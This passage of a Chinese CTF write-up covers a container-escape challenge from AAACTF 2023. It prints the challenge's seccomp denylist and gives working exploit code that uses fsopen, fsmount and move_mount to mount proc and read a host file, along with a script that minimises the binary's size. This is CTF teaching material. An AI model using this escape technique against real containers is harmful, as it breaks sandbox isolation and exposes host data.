1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  该题目出现在2023AAACTF里面，也是一个容器逃逸方向的题目，根据官方的<span style="line-height: 1.75;color: rgb(87, 107, 149);">描述</span>，改题目的灵感就来自于上面的babyescape，不过其添加了更严格的seccomp限制：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">line  CODE  JT   JF      K<br/>=================================<br/> 0000: 0x20 0x00 0x00 0x00000004  A = arch<br/> 0001: 0x15 0x00 0x44 0xc000003e  if (A != ARCH<span style="color: rgb(230, 192, 123);">_</span>X86<span style="color: rgb(230, 192, 123);">_</span>64) goto 0070<br/> 0002: 0x20 0x00 0x00 0x00000000  A = sys<span style="color: rgb(230, 192, 123);">_</span>number<br/> 0003: 0x35 0x42 0x00 0x40000000  if (A &gt;= 0x40000000) goto 0070<br/> 0004: 0x15 0x41 0x00 0x000000a1  if (A == chroot) goto 0070<br/> 0005: 0x15 0x40 0x00 0x000000a5  if (A == mount) goto 0070<br/> 0006: 0x15 0x3f 0x00 0x00000110  if (A == unshare) goto 0070<br/> 0007: 0x15 0x3e 0x00 0x000000a9  if (A == reboot) goto 0070<br/> 0008: 0x15 0x3d 0x00 0x00000065  if (A == ptrace) goto 0070<br/> 0009: 0x15 0x3c 0x00 0x00000136  if (A == process<span style="color: rgb(230, 192, 123);">_</span>vm<span style="color: rgb(230, 192, 123);">_</span>readv) goto 0070<br/> 0010: 0x15 0x3b 0x00 0x00000137  if (A == process<span style="color: rgb(230, 192, 123);">_</span>vm<span style="color: rgb(230, 192, 123);">_</span>writev) goto 0070<br/> 0011: 0x15 0x3a 0x00 0x00000130  if (A == open<span style="color: rgb(230, 192, 123);">_</span>by<span style="color: rgb(230, 192, 123);">_</span>handle<span style="color: rgb(230, 192, 123);">_</span>at) goto 0070<br/> 0012: 0x15 0x39 0x00 0x0000009b  if (A == pivot<span style="color: rgb(230, 192, 123);">_</span>root) goto 0070<br/> 0013: 0x15 0x38 0x00 0x000000a3  if (A == acct) goto 0070<br/> 0014: 0x15 0x37 0x00 0x000000f8  if (A == add<span style="color: rgb(230, 192, 123);">_</span>key) goto 0070<br/> 0015: 0x15 0x36 0x00 0x00000141  if (A == bpf) goto 0070<br/> 0016: 0x15 0x35 0x00 0x00000131  if (A == clock<span style="color: rgb(230, 192, 123);">_</span>adjtime) goto 0070<br/> 0017: 0x15 0x34 0x00 0x000000e3  if (A == clock<span style="color: rgb(230, 192, 123);">_</span>settime) goto 0070<br/> 0018: 0x15 0x33 0x00 0x00000038  if (A == clone) goto 0070<br/> 0019: 0x15 0x32 0x00 0x000000ae  if (A == create<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0020: 0x15 0x31 0x00 0x000000b0  if (A == delete<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0021: 0x15 0x30 0x00 0x00000139  if (A == finit<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0022: 0x15 0x2f 0x00 0x000000b1  if (A == get<span style="color: rgb(230, 192, 123);">_</span>kernel<span style="color: rgb(230, 192, 123);">_</span>syms) goto 0070<br/> 0023: 0x15 0x2e 0x00 0x000000ef  if (A == get<span style="color: rgb(230, 192, 123);">_</span>mempolicy) goto 0070<br/> 0024: 0x15 0x2d 0x00 0x000000af  if (A == init<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0025: 0x15 0x2c 0x00 0x000000ad  if (A == ioperm) goto 0070<br/> 0026: 0x15 0x2b 0x00 0x000000ac  if (A == iopl) goto 0070<br/> 0027: 0x15 0x2a 0x00 0x00000138  if (A == kcmp) goto 0070<br/> 0028: 0x15 0x29 0x00 0x00000140  if (A == kexec<span style="color: rgb(230, 192, 123);">_</span>file<span style="color: rgb(230, 192, 123);">_</span>load) goto 0070<br/> 0029: 0x15 0x28 0x00 0x000000f6  if (A == kexec<span style="color: rgb(230, 192, 123);">_</span>load) goto 0070<br/> 0030: 0x15 0x27 0x00 0x000000fa  if (A == keyctl) goto 0070<br/> 0031: 0x15 0x26 0x00 0x000000d4  if (A == lookup<span style="color: rgb(230, 192, 123);">_</span>dcookie) goto 0070<br/> 0032: 0x15 0x25 0x00 0x000000ed  if (A == mbind) goto 0070<br/> 0033: 0x15 0x24 0x00 0x00000117  if (A == move<span style="color: rgb(230, 192, 123);">_</span>pages) goto 0070<br/> 0034: 0x15 0x23 0x00 0x0000012f  if (A == name<span style="color: rgb(230, 192, 123);">_</span>to<span style="color: rgb(230, 192, 123);">_</span>handle<span style="color: rgb(230, 192, 123);">_</span>at) goto 0070<br/> 0035: 0x15 0x22 0x00 0x000000b4  if (A == nfsservctl) goto 0070<br/> 0036: 0x15 0x21 0x00 0x0000012a  if (A == perf<span style="color: rgb(230, 192, 123);">_</span>event<span style="color: rgb(230, 192, 123);">_</span>open) goto 0070<br/> 0037: 0x15 0x20 0x00 0x00000087  if (A == personality) goto 0070<br/> 0038: 0x15 0x1f 0x00 0x000000b2  if (A == query<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0039: 0x15 0x1e 0x00 0x000000b3  if (A == quotactl) goto 0070<br/> 0040: 0x15 0x1d 0x00 0x000000f9  if (A == request<span style="color: rgb(230, 192, 123);">_</span>key) goto 0070<br/> 0041: 0x15 0x1c 0x00 0x000000ee  if (A == set<span style="color: rgb(230, 192, 123);">_</span>mempolicy) goto 0070<br/> 0042: 0x15 0x1b 0x00 0x00000134  if (A == setns) goto 0070<br/> 0043: 0x15 0x1a 0x00 0x000000a4  if (A == settimeofday) goto 0070<br/> 0044: 0x15 0x19 0x00 0x000000a7  if (A == swapon) goto 0070<br/> 0045: 0x15 0x18 0x00 0x000000a8  if (A == swapoff) goto 0070<br/> 0046: 0x15 0x17 0x00 0x0000008b  if (A == sysfs) goto 0070<br/> 0047: 0x15 0x16 0x00 0x0000009c  if (A == <span style="color: rgb(230, 192, 123);">_</span>sysctl) goto 0070<br/> 0048: 0x15 0x15 0x00 0x000000a6  if (A == umount2) goto 0070<br/> 0049: 0x15 0x14 0x00 0x00000086  if (A == uselib) goto 0070<br/> 0050: 0x15 0x13 0x00 0x00000143  if (A == userfaultfd) goto 0070<br/> 0051: 0x15 0x12 0x00 0x00000088  if (A == ustat) goto 0070<br/> 0052: 0x15 0x11 0x00 0x000001b3  if (A == 0x1b3) goto 0070<br/> 0053: 0x15 0x10 0x00 0x000001b2  if (A == 0x1b2) goto 0070<br/> 0054: 0x15 0x0f 0x00 0x000001b6  if (A == 0x1b6) goto 0070<br/> 0055: 0x15 0x0e 0x00 0x000001a8  if (A == 0x1a8) goto 0070<br/> 0056: 0x15 0x0d 0x00 0x0000013d  if (A == seccomp) goto 0070<br/> 0057: 0x15 0x0c 0x00 0x0000009d  if (A == prctl) goto 0070<br/> 0058: 0x15 0x0b 0x00 0x0000009e  if (A == arch<span style="color: rgb(230, 192, 123);">_</span>prctl) goto 0070<br/> 0059: 0x15 0x0a 0x00 0x000000ae  if (A == create<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0060: 0x15 0x09 0x00 0x000000af  if (A == init<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0061: 0x15 0x08 0x00 0x000000b0  if (A == delete<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0062: 0x15 0x07 0x00 0x000000b1  if (A == get<span style="color: rgb(230, 192, 123);">_</span>kernel<span style="color: rgb(230, 192, 123);">_</span>syms) goto 0070<br/> 0063: 0x15 0x06 0x00 0x000000b2  if (A == query<span style="color: rgb(230, 192, 123);">_</span>module) goto 0070<br/> 0064: 0x15 0x05 0x00 0x000000d5  if (A == epoll<span style="color: rgb(230, 192, 123);">_</span>create) goto 0070<br/> 0065: 0x15 0x04 0x00 0x00000123  if (A == epoll<span style="color: rgb(230, 192, 123);">_</span>create1) goto 0070<br/> 0066: 0x15 0x03 0x00 0x000001a9  if (A == 0x1a9) goto 0070<br/> 0067: 0x15 0x02 0x00 0x000001aa  if (A == 0x1aa) goto 0070<br/> 0068: 0x15 0x01 0x00 0x000001ab  if (A == 0x1ab) goto 0070<br/> 0069: 0x06 0x00 0x00 0x7fff0000  return ALLOW<br/> 0070: 0x06 0x00 0x00 0x00000000  return KILL</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到该题目增加了很多关于kernel module的限制，导致我们无法通过insmod进行kernel module加载，这种情况下一般需要通过拼凑不同的syscall功能来实现被禁止的syscall功能，这里考的其实就是linux 6新出的<span style="line-height: 1.75;color: rgb(87, 107, 149);">syscall</span>，可以大致贴一下exp，一看就懂了基本：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">void</span> _start(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>    <span style="color: rgb(209, 154, 102);">int</span> fsfd, mfd;<br/>    fsfd = fsopen(<span style="color: rgb(152, 195, 121);">&#34;proc&#34;</span>, FSOPEN_CLOEXEC);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (fsfd &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">//fsconfig(fsfd, FSCONFIG_SET_STRING, &#34;source&#34;, &#34;/dev/sdb1&#34;, 0);</span><br/>    fsconfig(fsfd, FSCONFIG_CMD_CREATE, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    mfd = fsmount(fsfd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);<br/>    close(fsfd);<br/>    mkdir(<span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, <span style="color: rgb(209, 154, 102);">0777</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (move_mount(mfd, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, AT_FDCWD, <span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, MOVE_MOUNT_F_EMPTY_PATH) &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">2</span>);<br/>    close(mfd);<br/>    <span style="color: rgb(209, 154, 102);">int</span> fd = open(<span style="color: rgb(152, 195, 121);">&#34;/mnt/1/root/flag&#34;</span>, O_RDONLY);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (fd &gt;= <span style="color: rgb(209, 154, 102);">0</span>) {<br/>            <span style="color: rgb(209, 154, 102);">char</span> buf[<span style="color: rgb(209, 154, 102);">100</span>];<br/>            <span style="color: rgb(209, 154, 102);">int</span> len = read(fd, buf, <span style="color: rgb(209, 154, 102);">100</span>);<br/>            write(<span style="color: rgb(209, 154, 102);">1</span>, buf, len);<br/>            close(fd);<br/>    }<br/>    _exit(<span style="color: rgb(209, 154, 102);">0</span>);<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不过还有一个比较有意思就是官方对于exp size的最小化处理，如果是我的话可能就直接gcc static了，但是作者为了方便传输使用了很方便的汇编级写法，觉得可以借鉴一下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#</span>/bin/bash<br/>gcc -S src.c -fno-asynchronous-unwind-tables -Os -mavx -msse -mavx2 -ffast-math -fno-stack-protector -fomit-frame-pointer -fsingle-precision-constant  -fno-verbose-asm -fno-unroll-loops -nodefaultlibs <br/>cp src.s shim.s<br/>sed -i -e &#34;s/main/_start/g&#34; shim.s<br/>sed -i -e &#34;s/\.size.*//g&#34; shim.s<br/>sed -i -e &#34;s/\.ident.*//g&#34; shim.s<br/>sed -i -e &#34;s/\.section.*//g&#34; shim.s<br/><span style="color: rgb(97, 174, 238);">#</span>sed -i <span style="color: rgb(152, 195, 121);">&#34;s/pushq.*//g&#34;</span> shim.s<br/>sed -i &#34;s/.align 4//g&#34; shim.s<br/>sed -i &#34;s/.align 16//g&#34; shim.s<br/>sed -i &#34;s/.align 32//g&#34; shim.s<br/>sed -i &#34;s/.size main, .-main//g&#34; shim.s<br/>sed -i &#34;s/movl \$1, %edx/mov \$1, %dl/g&#34; shim.s<br/>sed -i &#34;s/vmovdqa/vmovdqu/g&#34; shim.s<br/>sed -i &#34;s/endbr64//g&#34; shim.s<br/>sed -i &#34;s/movsbq %r11b, %r11//g&#34; shim.s<br/>sed -i &#34;s/movslq %ecx, %rcx//g&#34; shim.s<br/><span style="color: rgb(97, 174, 238);"># </span>sed -i -e <span style="color: rgb(152, 195, 121);">&#34;s/\.string.*//g&#34;</span> shim.s<br/>as --64 -ac -ad -an --statistics -o shim.o shim.s # syscall.s <br/>ld -N --no-demangle -x -s -Os --cref -o shim shim.o<br/>wc -c shim<br/>strip shim<br/>wc -c shim<br/>sstrip  shim<br/>wc -c shim<br/>python -c &#34;import os; f = os.popen(&#39;wc -c shim&#39;); fsize = int(f.read().split(&#39; &#39;)[0]); print(&#39;new_len:&#39;,((((fsize + 8) / 64) + 1) * 64) - 8);print(&#39;fsize&lt;&lt;3:&#39;,fsize &lt;&lt; 3);&#34;<br/>sha256sum shim<br/>rm -rf ./*.o<br/><span style="color: rgb(97, 174, 238);"># </span>./shim</code></pre><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;stdio.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;string.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;stdio.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;stdlib.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;unistd.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;errno.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;fcntl.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;stdarg.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;sys/prctl.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;sys/syscall.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;sys/wait.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/mount.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/unistd.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifndef</span> SYS_fsopen</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> SYS_fsopen 430</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifndef</span> SYS_fsmount</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> SYS_fsmount 432</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifndef</span> SYS_fsconfig</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> SYS_fsconfig 431</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifndef</span> SYS_move_mount</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> SYS_move_mount 429</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifndef</span> O_TMPFILE</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> O_TMPFILE (020000000 | O_DIRECTORY)</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(97, 174, 238);">syscall</span>(<span style="color: rgb(209, 154, 102);">long</span> number, ...) {<br/>    va_list args;<br/>    va_start(args, number);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _1 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _2 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _3 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _4 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _5 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    <span style="color: rgb(209, 154, 102);">long</span> _6 = va_arg(args, <span style="color: rgb(209, 154, 102);">long</span>);<br/>    va_end(args);<br/>    <span style="color: rgb(209, 154, 102);">long</span> retval;<br/>    <span style="color: rgb(198, 120, 221);">register</span> <span style="color: rgb(209, 154, 102);">long</span> r10 __asm__ (<span style="color: rgb(152, 195, 121);">&#34;r10&#34;</span>) = _4;<br/>    <span style="color: rgb(198, 120, 221);">register</span> <span style="color: rgb(209, 154, 102);">long</span> r8  __asm__ (<span style="color: rgb(152, 195, 121);">&#34;r8&#34;</span>)  = _5;<br/>    <span style="color: rgb(198, 120, 221);">register</span> <span style="color: rgb(209, 154, 102);">long</span> r9  __asm__ (<span style="color: rgb(152, 195, 121);">&#34;r9&#34;</span>)  = _6;<br/>    __asm__ <span style="color: rgb(97, 174, 238);">volatile</span> ( <span style="color: rgb(152, 195, 121);">&#34;syscall&#34;</span><br/>             : <span style="color: rgb(152, 195, 121);">&#34;=a&#34;</span> (retval)<br/>             : <span style="color: rgb(152, 195, 121);">&#34;a&#34;</span> (number), <span style="color: rgb(152, 195, 121);">&#34;D&#34;</span> (_1), <span style="color: rgb(152, 195, 121);">&#34;S&#34;</span> (_2), <span style="color: rgb(152, 195, 121);">&#34;d&#34;</span> (_3), <span style="color: rgb(152, 195, 121);">&#34;r&#34;</span> (r10), <span style="color: rgb(152, 195, 121);">&#34;r&#34;</span> (r8), <span style="color: rgb(152, 195, 121);">&#34;r&#34;</span> (r9)<br/>             : <span style="color: rgb(152, 195, 121);">&#34;rcx&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;r11&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;cc&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;memory&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">return</span> retval;<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">open</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *path, <span style="color: rgb(209, 154, 102);">int</span> oflag, ...) {<br/>    va_list args;<br/>    va_start(args, oflag);<br/>    <span style="color: rgb(209, 154, 102);">mode_t</span> mode = (oflag &amp; (O_CREAT | O_TMPFILE)) ? va_arg(args, <span style="color: rgb(209, 154, 102);">mode_t</span>) : <span style="color: rgb(209, 154, 102);">0</span>;<br/>    va_end(args);<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_open, path, oflag, mode);<br/>}<br/><span style="color: rgb(209, 154, 102);">ssize_t</span> <span style="color: rgb(97, 174, 238);">read</span>(<span style="color: rgb(209, 154, 102);">int</span> fd, <span style="color: rgb(209, 154, 102);">void</span> *buf, <span style="color: rgb(209, 154, 102);">size_t</span> nbytes) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> (<span style="color: rgb(209, 154, 102);">ssize_t</span>)syscall(SYS_read, fd, buf, nbytes);<br/>}<br/><span style="color: rgb(209, 154, 102);">ssize_t</span> <span style="color: rgb(97, 174, 238);">write</span>(<span style="color: rgb(209, 154, 102);">int</span> fd, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">void</span> *buf, <span style="color: rgb(209, 154, 102);">size_t</span> nbytes) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> (<span style="color: rgb(209, 154, 102);">ssize_t</span>)syscall(SYS_write, fd, buf, nbytes);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">close</span>(<span style="color: rgb(209, 154, 102);">int</span> fd) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_close, fd);<br/>}<br/><span style="color: rgb(209, 154, 102);">void</span> _exit(<span style="color: rgb(209, 154, 102);">int</span> code) {<br/>    <span style="color: rgb(198, 120, 221);">while</span>(<span style="color: rgb(209, 154, 102);">1</span>) syscall(SYS_exit, code);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">execve</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *pathname, <span style="color: rgb(209, 154, 102);">char</span> *<span style="color: rgb(209, 154, 102);">const</span> argv[], <span style="color: rgb(209, 154, 102);">char</span> *<span style="color: rgb(209, 154, 102);">const</span> envp[]) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_execve, (<span style="color: rgb(209, 154, 102);">long</span>) pathname, (<span style="color: rgb(209, 154, 102);">long</span>) argv, (<span style="color: rgb(209, 154, 102);">long</span>) envp);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">fsopen</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *fs_name, <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> flags) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_fsopen, (<span style="color: rgb(209, 154, 102);">long</span>) fs_name, (<span style="color: rgb(209, 154, 102);">long</span>) flags);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">fsmount</span>(<span style="color: rgb(209, 154, 102);">int</span> fsfd, <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> flags, <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> ms_flags) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_fsmount, (<span style="color: rgb(209, 154, 102);">long</span>) fsfd, (<span style="color: rgb(209, 154, 102);">long</span>)  flags, (<span style="color: rgb(209, 154, 102);">long</span>) ms_flags);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">fsconfig</span>(<span style="color: rgb(209, 154, 102);">int</span> fsfd, <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> cmd, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *key, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">void</span> *value, <span style="color: rgb(209, 154, 102);">int</span> aux)<br/>{<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_fsconfig, (<span style="color: rgb(209, 154, 102);">long</span>) fsfd, (<span style="color: rgb(209, 154, 102);">long</span>) cmd, (<span style="color: rgb(209, 154, 102);">long</span>) key, (<span style="color: rgb(209, 154, 102);">long</span>) value, (<span style="color: rgb(209, 154, 102);">long</span>) aux);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">move_mount</span>(<span style="color: rgb(209, 154, 102);">int</span> from_dfd, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *from_pathname, <span style="color: rgb(209, 154, 102);">int</span> to_dfd, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *to_pathname, <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> flags) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_move_mount, (<span style="color: rgb(209, 154, 102);">long</span>) from_dfd, (<span style="color: rgb(209, 154, 102);">long</span>) from_pathname, (<span style="color: rgb(209, 154, 102);">long</span>) to_dfd,(<span style="color: rgb(209, 154, 102);">long</span>)  to_pathname, (<span style="color: rgb(209, 154, 102);">long</span>) flags);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">mkdir</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *pathname, <span style="color: rgb(209, 154, 102);">int</span> mode) {<br/>    <span style="color: rgb(198, 120, 221);">return</span> syscall(SYS_mkdir, (<span style="color: rgb(209, 154, 102);">long</span>) pathname, (<span style="color: rgb(209, 154, 102);">long</span>) mode);<br/>}<br/><span style="color: rgb(209, 154, 102);">void</span> _start(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>    <span style="color: rgb(209, 154, 102);">int</span> fsfd, mfd;<br/>    fsfd = fsopen(<span style="color: rgb(152, 195, 121);">&#34;proc&#34;</span>, FSOPEN_CLOEXEC);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (fsfd &lt; <span style="color: rgb(209, 154, 102);">0</span>) _exit(<span style="color: rgb(209, 154, 102);">1</span>);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">//fsconfig(fsfd, FSCONFIG_SET_STRING, &#34;source&#34;, &#34;/dev/sdb1&#34;, 0);</span><br/>    fsconfig(fsfd, FSCONFIG_CMD_CREATE, <span 